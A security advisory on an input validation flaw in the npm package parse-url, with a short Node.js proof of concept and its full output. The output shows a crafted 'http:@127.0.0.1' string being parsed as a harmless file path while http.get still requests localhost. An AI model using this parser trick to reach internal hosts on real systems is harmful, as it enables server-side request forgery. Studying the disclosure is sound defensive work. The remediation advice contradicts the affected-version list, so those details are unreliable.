Disclosed vulnerabilities
No CVE assigned Published: Sep 12, 2022

Improper Input Validation in parse-url

6.5 Medium Severity improper input javascript node nodejs npm validation
@p0cas Reported by Checkmarx Zero

Summary

Improper Input Validation in parse-url.

Product

parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5.

Steps to reproduce

const parseUrl = require("parse-url")
const http = require("http")

url = parseUrl("http:@127.0.0.1")
console.log(url)
console.log(http.get(url.href))

Expected result:

  protocols: [],
  protocol: 'file',
  port: null,
  resource: '',
  user: '',
  pathname: 'http:@127.0.0.1',
  hash: '',
  search: '',
  href: 'http:@127.0.0.1',
  query: [Object: null prototype] {}
}
ClientRequest {
  _events: [Object: null prototype] {
    socket: [Function: bound onceWrapper] { listener: [Function: onSocket] }
  },
  _eventsCount: 1,
  _maxListeners: undefined,
  outputData: [
    {
      data: 'GET / HTTP/1.1rnHost: 127.0.0.1rnConnection: closernrn',
      encoding: 'latin1',
      callback: [Function: bound onFinish]
    }
  ],
  outputSize: 54,
  writable: true,
  _last: true,
  chunkedEncoding: false,
  shouldKeepAlive: false,
  _defaultKeepAlive: true,
  useChunkedEncodingByDefault: false,
  sendDate: false,
  _removedConnection: false,
  _removedContLen: false,
  _removedTE: false,
  _contentLength: 0,
  _hasBody: true,
  _trailer: '',
  finished: true,
  _headerSent: true,
  socket: null,
  connection: null,
  _header: 'GET / HTTP/1.1rnHost: 127.0.0.1rnConnection: closernrn',
  _keepAliveTimeout: 0,
  _onPendingData: [Function: noopPendingOutput],
  agent: Agent {
    _events: [Object: null prototype] {
      free: [Function],
      newListener: [Function: maybeEnableKeylog]
    },
    _eventsCount: 2,
    _maxListeners: undefined,
    defaultPort: 80,
    protocol: 'http:',
    options: { path: null },
    requests: {},
    sockets: { '127.0.0.1:80:': [Array] },
    freeSockets: {},
    keepAliveMsecs: 1000,
    keepAlive: false,
    maxSockets: Infinity,
    maxFreeSockets: 256,
    maxTotalSockets: Infinity,
    totalSocketCount: 1,
    scheduling: 'fifo',
    [Symbol(kCapture)]: false
  },
  socketPath: undefined,
  method: 'GET',
  insecureHTTPParser: undefined,
  path: '/',
  _ended: false,
  res: null,
  aborted: false,
  timeoutCb: null,
  upgradeOrConnect: false,
  parser: null,
  maxHeadersCount: null,
  reusedSocket: false,
  host: '127.0.0.1',
  protocol: 'http:',
  [Symbol(kCapture)]: false,
  [Symbol(kNeedDrain)]: false,
  [Symbol(corked)]: 0,
  [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', '127.0.0.1' ] }
}

Remediation

Update parse-url to 6.0.1 or 6.0.3.

Credit

This issue was reported by @p0cas through huntr.dev.

Resources

  1. 21c72ab
  2. Disclosure
  3. Disclosure

Stay connected and never miss a research update!